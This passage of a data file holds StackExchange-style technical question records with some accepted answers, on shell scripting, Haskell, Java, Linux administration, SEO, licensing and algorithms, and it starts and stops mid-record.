ACCEPT-A RH-Firewall-1-INPUT -p udp --dport 5353 -d 224.0.0.251 -j ACCEPT-A RH-Firewall-1-INPUT -p udp -m udp --dport 631 -j ACCEPT-A RH-Firewall-1-INPUT -p tcp -m tcp --dport 631 -j ACCEPT-A RH-Firewall-1-INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT-A RH-Firewall-1-INPUT -j REJECT --reject-with icmp-host-prohibitedCOMMIT"  } 
{  "id": "_webapps.73715"  , "question": "My wife's laptop has Chrome installed. She uses it under her Chrome username. I sometimes use it with my Chrome username. Since installing the Google Hangouts extension on my Chrome account (on my own laptop), she now gets my Hangouts popups on her computer when using Chrome under her username. This seems like a glitch in how the Hangouts extension interacts with multiple Chrome users. Is there a way to prevent this presumably unintended behavior?"  , "title": "How to prevent Google Hangouts Chrome extension from popping up for other users of the same Chrome installation?"  , "tags": "google chrome;google hangouts"  } 
{  "id": "_unix.155775"  , "question": "I have files named as 0-n.jpg for n from 1 to 500, for example.The problem is that some guy using Windows didn't use leading zeros so when I do ls I obtain0-100.jpg0-101.jpg...0-10.jpg...0-199.jpg0-19.jpg0-1.jpgSo I'd like to rename them to insert the leading zeros, so that the result of ls could be 0-001.jpg0-002.jpg...0-100.jpg...0-499.jpg0-500.jpgIn other words, I'd like all files with the same file name lengths.I tried this solution but I'm getting a sequence of errors likebash: printf: 0-99: invalid number"  , "title": "How to rename to fixed length"  , "tags": "shell script;rename"  , "accepted_answer": "If your system has the perl-based rename command you could do something like rename -- 's/(\\d+)-(\\d+)/sprintf(%d-%03d,$1,$2)/e' *.jpgTesting it using the -v (verbose) and -n (no-op) options:$ rename -vn -- 's/(\\d+)-(\\d+)/sprintf(%d-%03d,$1,$2)/e' *.jpg0-10.jpg renamed as 0-010.jpg0-19.jpg renamed as 0-019.jpg0-1.jpg renamed as 0-001.jpg"  } 
{  "id": "_codereview.69691"  , "question": "Given the following algebraic data type, a Rose Tree:data Tree a = Node {    rootLabel :: a,    subForest :: [Tree a]}  I attempted a foldTree function to fold over this list: (credit to this class's homework from 2013:treeFold :: (b -> [b] -> b) -> (a -> b) -> Tree a -> btreeFold f g tree = f (g (rootLabel tree)) (map (g . rootLabel) (subForest tree))test*Party> let tree = Node { rootLabel = 100, subForest = [] }*Party> let tree2 = Node { rootLabel = 200, subForest = [tree] }*Party> add tree2300Please review this implementation.Given my definition of treeFold, I don't see how I could fold over a Tree Char, producing a [Char]/String result. My understanding is that, for the return type, b, it can't be [a]."  , "title": "Implement `fold` on a Rose Tree"  , "tags": "haskell;tree"  , "accepted_answer": "The implementation isn't correct, because it doesn't traverse sub-trees. ConsiderNode 1 [Node 2 [Node 3 []]]Then your folding function will only fold over 1 and 2, but not over 3.If you have a recursive structure like this, a folding function over it must also be recursive. Otherwise it won't be able to traverse arbitrarily large recursive structure.For the other question: If you specialize the folding function astreeFold :: ([Char] -> [[Char]] -> [Char]) -> (Char -> [Char])         -> Tree Char -> [Char]by setting b = [Char], you get what you're looking for - converting a Tree Char to String. You just need to supply the two function for folding, for exampletreeFold (\\x ys -> x ++ concat ys) (: [])Update: The signature also isn't correct. The general rule is that the folding function should have one additional argument for each constructor of the data type where recursive types (here Tree a) are replaced by the result of the fold:treeFold :: (a -> [b] -> b) -> Tree a -> bFor example for a list you have 2 constructors: (:) :: a -> [a] -> [a] and [] :: [a], so its folding function isfoldr :: (a -> b -> b) -> b -> [a] -> b"  } 
{  "id": "_softwareengineering.220783"  , "question": "I hope you bear with me here. It's difficult to explain this problem, especially so without direct reference to the specific domain.I work on a component of a larger system which performs computationally expensive pre-processing in order that the real-time component can perform it's functions quickly. My product effectively creates a big lookup dataset for the main component to query.My product computes the results of a finite set of scenarios (a few hundred thousand) any one of which may be performed by a customer. The component uses a k-shortest paths algorithm and a number of rules engines to consider each scenario and build up the lookups, operating on reference data that represents the problem domain.For the scenarios that are very commonly performed by our customers the test cases are easy; the expected outcomes are easy to devise and assert acceptance tests. However, for the scenarios that are not popular, the expected outcomes are difficult to establish and in any case their outcomes may be changed by changes to the reference data which are virtually impossible to predict. In other words, changes to the reference data changes the inputs to the shortest-path algorithm which in turn may change the output.Creating acceptance tests for these unpopular cases is also tricky, because the business doesn't know what it doesn't know, and so has no baseline against which it can be tested.Whenever a tester comes back to me with a defect, 99.9% certainty it's because conditions in the reference data have changed, rather than because of any code changes. I therefore spend a load of time chasing defects that are data issues. I think what confuses the situation is that the reference data is key to the functionality of the system, and the system without a specific set of reference data would produce no results that had any meaning to the business. I could create a set of fake reference data against which to test, but any assertion against this engineered reference data would be invalid in the real world.I would be very interested to hear any perspectives on this especially from those who have encountered similar problems. I am anxious not to simply shrug my shoulders and reply data issue but get to the root of the problem and work out how to build and test this thing in a reliable, repeatable and valuable way."  , "title": "Software without a testable goal"  , "tags": "design;testing;acceptance testing"  } 
{  "id": "_softwareengineering.194545"  , "question": "I'm trying to improve my OOP code and I think my User class is becoming way too fat.In my program a user has rights over lists. Read, Write, Update, Delete.So I made a User classclass User{protected $_id;protected $_email;protected $_username;protected $_hashedPassword;//...Various setters/getterspublic function canRead(List $list){    //Database query verifies if user has READ rights}public function canUpdate(List $list){    //Database query verifies if user has UPDATE rights}//etc...}Should canRead, canUpdate, canWrite, canDelete methods be moved to another class (UserAccessCheck or something...)?If not, should the actual SQL be moved into the List object (listCanBeReadByUser()) ?"  , "title": "Should a User class only contain attributes and no methods apart from getters/setters?"  , "tags": "object oriented design"  , "accepted_answer": "What you are doing is putting together a mechanism for access control (lists) or ACL.  In general, as Ritesh says, it's a bad idea to do that all in one class.This answer on SO has a nicer, OO way of dealing with access control.Rather than extending your User class, you should wrap your User class inside a SecureContainer. See the linked-to answer for details, but then the overall call would be:// assuming that you have two objects already: $currentUser and $controller$acl = new AccessControlList( $currentUser );$controller = new SecureContainer( $controller, $acl );// you can execute all the methods you had in previous controller // only now they will be checked against ACL$controller->actionIndex();This allows the User class to focus on what it needs to do, and allows the AccessControlList class to focus on what it needs to do."  } 
{  "id": "_unix.341396"  , "question": "I'm using Debian Jessie and have created a systemd service for launching a script on a tty like this:[Unit]Description=My Test Script[Service]Type=simpleExecStart=/bin/bash /home/tester/test.sh    StandardInput=tty-forceStandardOutput=ttyStandardError=ttyTTYPath=/dev/tty2TTYReset=noTTYVHangup=noTTYVTDisallocate=noRestart=alwaysRestartSec=3[Install]WantedBy=default.targetMy script test.sh is just a readline:#!/bin/bashread -p Backspace test: exit 0What happens? I can find the script running on tty2just as expected; however, if I enter something and then use backspace to remove characters, it starts outputting things backward with enclosing slashes.Example of inputting characters:Backspace test: abcOn backspace three times, which should remove abc, it instead becomes:Backspace test: abc\\cba/Additionally, stty -a gives erase = ^? and if I login on a tty and start test.sh, everything works as expected.Why does this happen?Edit: Solved by adjusting the terminal line settings using stty; more specifically, the option echoprt is of interest:* [-]echoprt     echo erased characters backward, between '\\' and '/'"  , "title": "Script started on tty at boot does not handle backspace correctly"  , "tags": "debian;systemd;tty;getty"  } 
{  "id": "_webmaster.77683"  , "question": "I've developed a site, and I'd like to apply the exact same theme with the same HTML markup but different CSS styling to multiple different sites on different domains. The sites will be related in genre, but they will have completely different content.I plan use a tiered linkage approach, where that one of these sites is at the bottom layer (most important), and all the other sites link (one way) to this site. Kind of like this:Will using the same theme AND linking these same-genre sites together likely result in an SEO penalty from Google?"  , "title": "Multiple sites, same markup, different content, tier linkage = SEO penalty?"  , "tags": "seo;google;html;backlinks;content"  } 
{  "id": "_scicomp.1757"  , "question": "I managed to reduce certain computational problem to the Gauss-Seidel solution of the following linear system: $$Ax=Ly,$$ where $A, L\\in\\mathbb{R}^{n\\times n}$ are weighted Laplacian matrices (symmetric, positive semi-definite; negative off-diagonal entries, with rows(collumns) summing (in absolute values) to positive diagonal entries; matrix eigenvalue $0$ corresponds to $1_n$ eigenvector of the nullspace), and $x,y\\in\\mathbb{R}^{n\\times 2}$ are vectors with the unknown $x$. The solution has the form $$x_i^{[k+1]} = \\left.\\left(b_i  - \\sum_{j=1}^{i-1}a_{ij}x_j^{[k+1]} - \\sum_{j=i+1}^{n}a_{ij}x_j^{[k]}\\right)\\middle/a_{ii}\\right.,$$ where $b_i$ is the $i^{th}$ entry of $Ly$. Note that, with Gauss-Seidl, the update of $x_i$ takes effect immediately, i.e., calculation for the following $x_{i+1}$ is based on the new value of $x_i$ that has been computed just before. Now, suppose an iteration consists of a single update of all $x_i$ in some arbitrary order. In other words, each $x_i$ is considered only once (and is updated only once) in an iteration. My question is: could it be guaranteed that after a single iteration with initial $x^{[0]}=y$, the solution $x^{[1]}$ has all unique coordinates, i.e., there are not two rows of $x^{[1]}$ that are equal?You could assume that the initial $x^{[0]}=y$ has non-unique coordinates. If the uniqueness cannot be resolved this way, I would appreciate a suggestion on the coordinate traversal order to increase the chance of achieving uniqueness (i.e., no two coordinates take the same value)."  , "title": "Unique coordinates (solutions) in a single Gauss-Seidel iteration"  , "tags": "linear algebra;matrices;iterative method;computational geometry;linear solver"  , "accepted_answer": "The order in which you update the new solution has a big impact on the values produced from the initial data to the first approximation.  Some updated values will be the same as the jacobi iteration, while others will contain the latest information a la Gauss-Seidel.  Given a specific ordering, there may be two values that are the same if the initial vector $x_0$ has non-unique values.  But for two different orderings, if the the solution vector is large, and the order of updating the gauss-seidel formula is random, the more unlikely it is that you will produce similar 1st iterations.  I'm not sure if there is a proof for that different orderings produce unique 1st iterations, but even if it is possible for them to be non-unique, the probability is very unlikely."  } 
{  "id": "_codereview.116057"  , "question": "I have a problem with some remote devices at a lot of my manufacturing sites. There are two major problems:the network is unreliable in terms of maintaining connectionsmachines have duplicate IP addressesBoth of these are, naturally, catastrophic. To detect these conditions, I wrote a small program that loads a list of devices (and a description) and pings them all every 10 minutes, dumping the results to a couple log files.I use icmp4j and OpenCSV as dependencies. Import statements are implied. The server running it will be a very beefy server: 24 core Xeon X5650s with 72GB of RAM. Obviously, this isn't the only thing on it, but suffice it to say we'd have to push pretty hard to cause a CPU or memory problem.I'm interested in any real feedback. If there's a better way to do one of the tasks, if any problems jump out, anything that might bite me in the butt down the road. I'd also consider comments on style, obviously avoiding holy wars and respecting differences of opinion. I'm particularly interested in how I'm passing messages around, what can be done to clean that up because I fear it might get ugly as the program creeps bigger.public class Main {    // just a simple struct to attach a description to a hostname...    static class Host {        Host(String name, String desc) { this.name = name; this.desc = desc; }        String name;        String desc;        public String toString() { return name +   + desc; }    }    /**     *      * @param args     * @throws FileNotFoundException not expected because we should create any file we don't already have     * @throws InterruptedException not expected because nothing should be interripting us     */    public static void main(String[] args) throws FileNotFoundException, InterruptedException {        final List<Host> hosts = loadHosts();        // keep track of IP addresses and what hosts they belong to        // we find multiple hosts have the same IP address (WTF) so if we try to ping different hosts        // and they hit the same IP, there's a problem!        final Map<String, Host> ips = new HashMap<>();        final SimpleDateFormat sdf = new SimpleDateFormat(yyyy-MM-dd-HH-mm-ss);        // the date at which the current log started        Calendar logDate = new GregorianCalendar();        String dateStr = sdf.format(logDate.getTime());        while (true) {            Calendar currDate = new GregorianCalendar();            // if we are on a new week, roll over the log            if(currDate.get(Calendar.WEEK_OF_YEAR) != logDate.get(Calendar.WEEK_OF_YEAR)) {                logDate = new GregorianCalendar();                dateStr = sdf.format(logDate.getTime());            }            // we'll use this later and compare it to 'now'...             long then = System.currentTimeMillis();            // create new or append to existing CSV log file - rollover happens here            try (final CSVWriter log = new CSVWriter(new FileWriter(new File(log + dateStr + .csv), true))) {                for (final Host host : hosts) {                    // ping the host 5 times - this is the critical business logic step                    String[] data = ping(host, 5);                    // convenient holder objects for the host                    Host newHost = new Host(data[HOST_INDEX], data[DESC_INDEX]);                    // fetch the old host associated with that IP                    Host oldHost = ips.put(data[IP_INDEX], newHost);                    // see if this doesn't pass the sniff test                    if(oldHost != null &&  data[IP_INDEX] != NO_IP && !oldHost.equals(data[HOST_INDEX])) {                        data[DUP_IP_INDEX] = dupe;                        // yeah I know we're logging every single dupe, but they don't happen often, so this is not going to kill us                        try(FileWriter dupes = new FileWriter(new File(dupes.log),true)){                            dupes.write(new Date() +   + oldHost +  and  + newHost +  share ip  + data[IP_INDEX]);                            dupes.write(\\n);                            dupes.flush();                            dupes.close();                        }                    }                    // OpenCSV is super easy to work with, I picked it up in like ten minutes. Hurray!                    log.writeNext(data);                    // yes, we flush every time. In reality we don't have to do this, but we want to in case something errors during the next write                    // this is going to write about 200 times every ten minutes, or an average of less than once a second.                    // even if they all went through perfect it's going to take around 1 minute to do all 200 pings... the server is a beast,                     // this is nothing... if this becomes a performance or maintence problem we'll address it then                    log.flush();                }            } catch (IOException e) {                // aanndd i won't be doing much about this, because 1) i don't expect it to happen and 2) i can't really recover if it does                e.printStackTrace();            }            long now = System.currentTimeMillis();            long diff = now - then;            // I love TimeUnit! It just makes this thoughtless!            // we want to have a total of ten minutes between each run            long durr = TimeUnit.MINUTES.toMillis(10);             // so we subtract how long we took on this trip and             long waitDurr = durr - diff;            System.out.println(Finished run, waiting  + waitDurr +  milliseconds to run again);            if (waitDurr > 100) {                Thread.sleep(waitDurr);            }        }    }    // just some static values that make it SO much easier when you have to add a value in the middle    static final String NO_IP = no ip available;    static final int HOST_INDEX = 0;    static final int DESC_INDEX = 1;    static final int IP_INDEX = 2;    static final int DUP_IP_INDEX = 3;    static final int TIMESTAMP_INDEX = 4;    static final int DATE_INDEX = 5;    static final int ERROR_INDEX = 6;    static final int RESULTS_START = 7;    static String[] ping(Host host, int attempts) {        // Icmp4j - who would have thought? Turns out they can't do multi-threaded pings though, so I fear some of it        // may be inaccurate - if I have to I can pump a ping command through the command line...        IcmpPingRequest ping = IcmpPingUtil.createIcmpPingRequest();        ping.setHost(host.name);        ping.setTimeout(500);        String[] results = new String[attempts+RESULTS_START];        // prepopulate results matrix        results[HOST_INDEX] = host.name;        results[DESC_INDEX] = host.desc;        results[IP_INDEX] = NO_IP;        results[DUP_IP_INDEX] = none;        results[TIMESTAMP_INDEX] = String.valueOf(System.currentTimeMillis());        results[DATE_INDEX] = new Date().toString();        results[ERROR_INDEX] = ; // yeah we're using string concat later... it's not pretty but it's low useage        for (int i = RESULTS_START; i < results.length; i++) {            try {                IcmpPingResponse resp = IcmpPingUtil.executePingRequest(ping);                results[IP_INDEX] = StringUtils.defaultString(resp.getHost(), results[IP_INDEX]);                // this particular ping failed, mark as -1 and append its error message                if(!resp.getSuccessFlag()) {                    results[ERROR_INDEX] += resp.getErrorMessage() + ; ;                    results[i] = -1;                } else {                    results[i] = String.valueOf(resp.getDuration());                }            } catch (Exception e) {                // the whole request failed, mark -1s and append its error message                results[ERROR_INDEX] += e.getMessage() + ; ;                Arrays.fill(results, RESULTS_START, results.length, -1);                return results;            }        }        return results;    }    static List<Host> loadHosts() throws FileNotFoundException {        List<Host> hosts = new ArrayList<Host>();        try (Scanner sc = new Scanner(new File(hosts.txt))) {             while(sc.hasNextLine()) {                 String hostline = sc.nextLine().trim();                 // this allows us to                  // * skip blank lines                 // * comments (starting with # or $ or something                 // * NO_HOST, which I used to filter the data that was given to me to build the hosts file from                 if(hostline.isEmpty() || !Character.isLetterOrDigit(hostline.charAt(0)) || hostline.contains(NO_HOST)) {                     System.out.println(skipped host  + hostline);                     continue;                 }                 // it is decreed that the first word of a valid line is its name, and everything after that is its description                 String[] split = hostline.split(\\\\s+, 2);                 String name = split[0];                 String desc = split.length < 2 ?  : split[1];                 Host host = new Host(name,desc);                 System.out.println(added host  + host);                 hosts.add(host);             }        }        System.out.println(number of hosts:  + hosts.size());        return hosts;    }}"  , "title": "Small Java auto-pinger, single class program"  , "tags": "java"  } 
{  "id": "_unix.107207"  , "question": "I saw a question in SuperUser titled How do I restart a frozen screen in Ubuntu without losing any open windows? and I think it would be helpful, but the problem is I can't switch to any of the TTYs.I'm trying to switch to tty 1 with Ctrl+Alt+F1 and it doesn't work, and honestly I even can't say if it has ever been worked before.The problem already occured one time about one month ago and fixed after 3 hours of waiting but this time the difference is that the cursor is moving and the clock is working right. Moreover all system monitor indicators show current state of hardware so it seems that the processor, disc, RAM and swap are also working. It happened during moving a terminal window to another part of workspace which is displayed on second monitor. And, what is strange, I can see mini dialog box with the resolution of the window that I have never seen before.Trying to unplug the second monitor didn't help. What can I do to unfreeze it and to not lose unsaved data?Shortcut Super+D made GNOMEs windows unfrozen so in similar cases this should be helpful."  , "title": "Windows in Gnome on Ubuntu 10.10 are frozen"  , "tags": "ubuntu;gnome;freeze"  } 
{  "id": "_webmaster.14928"  , "question": "I've been coding for a while and it's just struck me, what's better to use in terms of SEO:<b>Hello</b>or<strong>Hello</strong>"  , "title": "Which is better to use  or  for SEO?"  , "tags": "seo;html"  , "accepted_answer": "According to Matt Cutts are treated exactly the same. FYI, <i> and <em> are also treated the same.Video where Matt Cutts says they have the same weight"  } 
{  "id": "_unix.261200"  , "question": "Pretty new to Linux, I heard that I should never use --nodeps option when I do a rpm -e command.Why does this option exist then?"  , "title": "In which case can I use the option '--nodeps' of rpm command?"  , "tags": "rpm;options"  , "accepted_answer": "It exists for broadly the same reasons rm will allow you to delete the filesystem root, or dd will allow you to overwrite the physical hard drive:Linux and unix have a long history of giving you all the ammo you need when you really insist on shooting yourself in the foot.Less flippantly, when something has gone badly wrong during a package install, whether due to a badly built package or an outage at the worst possible moment, it's possible to wind up with your package manager's dependency database in gridlock -- IE, it can't resolve the problem because attempting any of the solutions would violate the dependencies of the other packages involved. In that case, you can use --nodeps, or for dpkg, the --force-* options to manually and forcibly remove the offending package, and then immediately issue what commands are necessary to fix the now broken dependencies. That's something you should only do if you're really sure of what you're doing, however; as a rule of thumb, if you aren't sure what use --nodep is, don't use it. You're essentially taking all the safeties off, and gods help you if you screw something up while doing it."  } 
{  "id": "_cs.14753"  , "question": "I am doing bachelors in Electronics & Communication Engg.. But most of my work happened to be in Web development.. I am thinking to do my bachelor thesis which very closely overlaps with my recent work.Are there any specific areas in CS, EE (may be Computer Networking in broad terms) that I can take up? "  , "title": "What areas in EE overlap closely with CS"  , "tags": "computer networks;research"  } 
{  "id": "_unix.144940"  , "question": "I have two text files, and I want to copy a bunch of lines from one to the other. File one has a list of packages, and I want to copy it to list two. This list of packages isn't at the start of file one, but have a tag %packages at the start of the list, and a tag %end at the end. I'm wondering how I can copy all lines between %packages and %end from file 1 into file 2?"  , "title": "How do I Copy and Paste lines between a start and end keyword?"  , "tags": "shell;text processing;grep"  , "accepted_answer": "To copy all lines between %packages and %end from file1 into file2:awk '$1==%end {f=0;next} f{print;next} $1==%packages {f=1}' file1 >>file2This solution is designed to remove the lines %packages and %end.  (If you want those lines to be transferred as well, there is an even simpler solution below.)Since awk implicitly loops over all lines in a file, the above commands are applied to each line in file1.  It uses a flag, called f, to determine if we are within the packages section of file1.  Every line within the packages section is printed to stdout which is redirected to file2.Let us consider the awk commands, one by one:$1==%end {f=0;next}This command checks to see if the line begins with %end.  If it does, the flag f is set to zero and we skip to the next line.f{print;next}This command checks to see if the flag f is nonzero.  If it is nonzero, then the line is printed and we skip to the next line.$1==%packages {f=1}This command checks to see if the line starts with %packages.  If so, it sets the flag f to one so that lines after this will be printed.Including the marker lines:The above excludes the marker lines %packages and %end.  If you want those included, then use:awk '/^%packages/,/^%end/ {print}' file1 >>file2"  } 
{  "id": "_webapps.49331"  , "question": "I want to filter my LinkedIn contacts in order to delete some of them. How can I easily find and delete all my contacts who, say, are girls, aged between 26 and 32 and are from Tel-Aviv?"  , "title": "How to filter LinkedIn contacts"  , "tags": "linkedin"  } 
{  "id": "_unix.381275"  , "question": "I have a script which need to look into a lst file and read the line and print the line if there is nothing left in the list it need to exit the script but the below script is looping itself and the lst file has two numbers(man,san) can any one help me out.vi do.lst mansancode:=  cat /ora/do.lst  while read -r line  do   if [[ -z $line ]]     then         echo The list is empty           exit  else      lst_no=${line},      echo ${line} is processing now   fi  done"  , "title": "Read line issue"  , "tags": "bash;shell"  , "accepted_answer": "Everything looks fine, you just need to pipe a cat into the loop:cat /ora/do.lst |  while read -r line  do   if [[ -z $line ]]     then       echo The list is empty        exit     else      lst_no=${line},      echo ${line} is processing now    fidoneThis is obviously not the optimal way to process lines, but I assume it's just for learning purpose.A little better would be to at least avoid useless cat and unnecessary pipe:while read -r line; do...done </ora/do.lstor even better, to preserve stdin for commands inside loop:while read -r line <&3; do...done 3</ora/do.lstHowever, if your file has many lines you may want to consider rewriting the script in awk, perl or other tool dedicated for text-processing task. Shell loops are not optimized in this regards."  } 
{  "id": "_unix.243952"  , "question": "Firstly, I tried to install Kali 2.0 from usb. Clicked install/graphicInstall. But it complained that there was no dvd disk with the packages in. Then, I went liveUSB and installed from there. I had Kali and Win8 on the disk. But grub didn't load. It just skipped to Windows. Then I tried to install Kali to another disk(SSD). But it just showed string 'Loading operating System...' and neither Grub, nor Kali started. By the way, I tried both EFI and non-EFI settings in BIOS.So, how to install Kali successfully?(I have kali persistence on one external disk and it works great!)"  , "title": "How to install Kali?"  , "tags": "debian;system installation;grub;bios"  } 
{  "id": "_cs.77066"  , "question": "The below example confused me:lw $r0, 4($r0)sw $r0, 4($r0)add $r0, $r0, $r0Using MIPS 5 stage execution what are the hazards we have 1) without forwarding 2) with forwarding only in the stage of execution (exe or alu) 3) with forwarding. Add nops to eliminate hazards. "  , "title": "lw and sw hazards example MIPS"  , "tags": "computer architecture;mips"  } 
{  "id": "_unix.305126"  , "question": "I found how to insert a line after a certain line in bashsed -i '/oh-my-zsh.sh/aplugins=(git symfony2)' ~/.zshrcResult:source $ZSH/oh-my-zsh.shplugins=(git symfony2)But I would like to insert my line before source $ZSH/oh-my-zsh.sh.How is it possible?"  , "title": "Insert a line before a certain line in a file"  , "tags": "text processing"  , "accepted_answer": "The 'a' in '...sh/aplug... is for 'add' and puts the new text after the search pattern. Replace it with 'i' for 'insert' to put the text before the search pattern. Like this:sed -i '/oh-my-zsh.sh/iplugins=(git symfony2)' ~/.zshrc'This answer and MUCH more can be found at: Sed - An Introduction and Tutorial by Bruce Barnett."  } 
{  "id": "_unix.292521"  , "question": "sqlite -echo test.sqlite < test44.sql > test44.out 1>&2.sqlite -echo test.sqlite < test44.sql > test44.out 2>&1.I used the first command to get an output of (stdout and stderr) in test44.out instead of the second command. After using my original command, I am getting the same output for the both commands. "  , "title": "What are the possible correct combination for std-out(2) and std-err(1)?"  , "tags": "bash"  , "accepted_answer": "With 1>&2 you redirect standard output to wherever standard error is going.  This is not done often.With 2>&1 you do the opposite, which is more common.Doing this:$ echo hello world >hello.out 1>&2hello world$ cat hello.outI get hello world on the error stream, but >hello.out also creates an empty hello.out file (or truncates it if it exists).It's the last redirection on the line that wins, but the file is created when the redirection is parsed left-to-right, before the command is executed.In you case (those . at the end of the command lines that you have is probably a typo, right?):$ sqlite -echo test.sqlite <test44.sql >test44.out 1>&2This ought to work in the equivalent way as my echo test above since sqlite (or at least sqlite3 on OpenBSD that I'm testing with), outputs the executed SQL commands to standard output."  } 
{  "id": "_unix.268885"  , "question": "is there a (FreeDesktop) Linux command to open an open-with dialog similar to xdg-open?I'm searching for some general desktop environment independent solution for showing something like this:Of course there is xdg-open to open the file with the default app, but how do I give users a choice to open a file in a different app? I'm also not looking for mimeopen that changes the current default application. "  , "title": "Is there a FreeDesktop command to open an open-with dialog similar to xdg-open?"  , "tags": "desktop environment;freedesktop;file opening;xdg open"  } 
{  "id": "_cs.67746"  , "question": "What is the minimum number of comparisons required to determine if an integer appears more than $n/2$ times in a sorted array of $n$ integers?I am trying binary search on the array A.Algorithm(A): x = A[mid], where mid is the middle element of the array.Compare x with A[n/4] and A[3n/4].If x = A[n/4] and x  A[3n/4] then search in A[1] to A[3n/4 + 1].If x  A[n/4] and x = A[3n/4] then search in A[n/4 + 1] to A[n].If x  A[n/4] and x  A[3n/4] then it is a no instance.If x = A[n/4] and x = A[3n/4] then it is a yes instance.Running Time: $T(n) = T(3n/4) + O(1)$ which is $O(\\log n)$ in asymptotic sense. At each step I am doing two comparisons so $2\\log_4n$ if $n = 4^k$.Is there any better (optimal) algorithm to solve the problem mentioned above?Also, I don't know how to prove the lower bound.  "  , "title": "Determining if an integer appears more than $n/2$ times"  , "tags": "algorithms;algorithm analysis;lower bounds"  , "accepted_answer": "You are asking two questions. I will only answer the second one. Consider the following set of possible inputs: the array is contains either $n/2$ or $n/2+1$ copies of $0$, all elements preceding it are $-1$, and all elements following it are $+1$.I claim that any algorithm which works correctly for this set of inputs must query, in the YES instances, the first and the last position of the stretch of zeroes. Indeed, if it never queries the first position for example, then the input could have been the NO instance in which the value at that position is replaced by $-1$.Since the first and last position of zero are at distance exactly $n/2$, and are the only two positions at that distance of equal value, we see that any correct algorithm for your problem can be modified (without any additional comparisons) to give an algorithm for the following problem:Given an array consisting of $n/2+1$ zeroes, preceded by $-1$ entries and followed by $1$ entries, find the location of the zeroes.Since there are $n/2$ different answers to this problem, the usual decision tree argument shows that any comparison-based algorithm must make $\\log_3 n - O(1)$ three-way comparisons, or $\\log_2 n - O(1)$ two-way comparisons of the form $x=y$ or $x \\neq y$?. This shows that for two-way comparisons, your algorithm is nearly optimal. (Note that $2\\log_4 n = \\log_2 n $.)"  } 
{  "id": "_webapps.4991"  , "question": "I'm looking to merge a couple pdf files for a one-off and don't want to install anything on my pc.  Anyone know of any webapps which will let me merge pdf files?"  , "title": "Is there a good webapp for manipulating pdf files?"  , "tags": "webapp rec;pdf"  } 
{  "id": "_reverseengineering.4546"  , "question": "How should I decide file is malware or not. Before reverse engineering any file, I should be suspect the file. What are the various ways to decide if exe is malicious? Thanks  "  , "title": "How to decide file is malware or not?"  , "tags": "malware"  , "accepted_answer": "This is a million dollar question and I doubt anybody will be able to provide a convincing answer. There are many methods used by antivirus software & analysts. One is to perform a stupid matching with known malware signatures. Another could be to statically analyze the application, extract the control flow (by reconstructing the CFG) of the application and deploy heuristics & pattern matching algorithms in order to determine if the application performs suspicious tasks. This can usually be done after analyzing known malware & building profiles of their behaviors (suspicious syscall call graph, ...). There are numerous techniques and this field is still open for research (this document describes an interesting one), some are extremely advanced and may necessitate sharp mathematical skills, and others are hard to program. Mainly, because none of them follow the standard algorithmic approach and rather use machine learning, genetic algorithms, and sometimes AI. I suggest you going through this Securelist article, and this publication too if you're interested by more material.  "  } 
{  "id": "_softwareengineering.154287"  , "question": "I am developing a software project in Java/Swing licensed under GPL v3.Later, I want to create a Android application which uses the algorithms of the Java/Swing application. This Android app will be a commercial product (sold on Google Play Store).Is this a problem, when I use my OWN GPL code in a commercial SW developed by me? "  , "title": "Use my own GPL licensed code in a commercial product"  , "tags": "android;licensing;gpl;commercial"  , "accepted_answer": "If you are the sole copyright holder (i.e., the owner), you can do anything you want with the code, including doing a derivative version of the code where the only change is to the license. Licenses are just descriptions of the conditions placed by the owner(s) on the non-owning users of the code. They do not constrain the owner.When there is multiple ownership, things get more complex (formally, all copyright holders have to agree in order to change the license). There's a gray area about what sort of contribution would be required by someone for them to be a copyright holder; its almost certainly not done by mechanical count of lines modified as a substantive contribution could be very short and a non-substantive one very long (e.g., converting all the indentation to tabs or spaces). We can't assess the extent to which this applies in your situation, except to point out that someone else downloading and using the code doesn't obligate you to grant them ownership rights.If you write all of it yourself, you don't need to pay much attention at all to the complexity in the previous paragraph. You can just go ahead and do what you want to do.A separate point is if you are working for a company that is the owner of the code. In that case, it's the company's decision and you're just acting on the company's behalf. It's no more complex than before provided the company is the sole owner of the code."  } 
{  "id": "_codereview.49460"  , "question": "I want to improve this code to make it look more professional, be loaded quicker and make it cross-browser compatible. Do note that it is not a finished site.  I want to know the best practice for doing certain things before I proceed any further.HTML:<!DOCTYPE html><html><head><title></title>    <link rel=stylesheet type=text/css href=css.css></script></head><body><div id=menu><div id=img>Bild</div><div id=gallery>Gallery</div><div id=stats>Stats</div><div id=members>Members</div><div id=groupMe>GroupMe</div><div id=knd>K&D</div><div id=apply>Apply</div></div><div id=guildinfo><span class=info>Back >></span></div><div id=wars>Knights & Dragons - Wars<table id=warslist><tr>    <td>1.</td>    <td>4.</td>    <td>7.</td></tr><tr>    <td>2.</td>    <td>5.</td>    <td>8.</td></tr><tr>    <td>3.</td>    <td>6.</td>    <td>9.</td></tr></table><span class=info>Guild info >></span><span id=previous><a href=previouswars.html>Click here to see all previous wars</a>    </span></div><div id=content></div><div id=banner><b>MVP</b></div><div id=content2><div id=imgHolder></div><div class=fontstyling center>Duplo - Lv 52</div><div id=spanHolder><span>Class: Assassin</span><br><span>Level: 52</span><br><span>Vip level: 2</span><br><span>Ship level: 29</span><br><span>Unlocked exploration areas: 4</span><br><span id=arenaRank>Arena rank: (<span id=yellowColor>1</span>) 3696</span><br><span>Total contribution: 5624</span></div></div><script src=http://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js></script><script src=javascript.js type=text/javascript></script></body></html>CSS:html, body {         margin: 0px;         padding: 0px;         width: 100%;        height: 100%;        background: url(img/background.jpg) no-repeat fixed;        background-size: cover;}a {         text-decoration: none;        color: yellow;}    #menu {        width: 316px;        height: 100px;        margin-top: 20px;        margin-left: 50px;}#img {         background: url(img/icon.png);         background-size: cover;         width: 100px;        height: 100px;        float: left;} .menuDivs {         width: 70px;        height: 30px;        color: yellow;        background: url(img/brown.jpg);        font-family: Arial;        font-size: 14px;        text-align: center;        float: right;        margin: 20px 2px -18px 0px;        vertical-align: bottom;        line-height: 30px;        border-radius: 5px;}#wars {         width: 450px;        height: 170px;        border: 1px solid black;        border-radius: 10px;        background: url(img/brown.jpg);        top: 20px;        left: 380px;        position: absolute;        font-family: Tahoma;        font-size: 18px;        color: yellow;        text-align: center;        line-height: 30px;        opacity: 0;}#warslist {         width: 400px;        height: 100px;        color: white;        margin: auto;        font-size: 13px;        text-align: 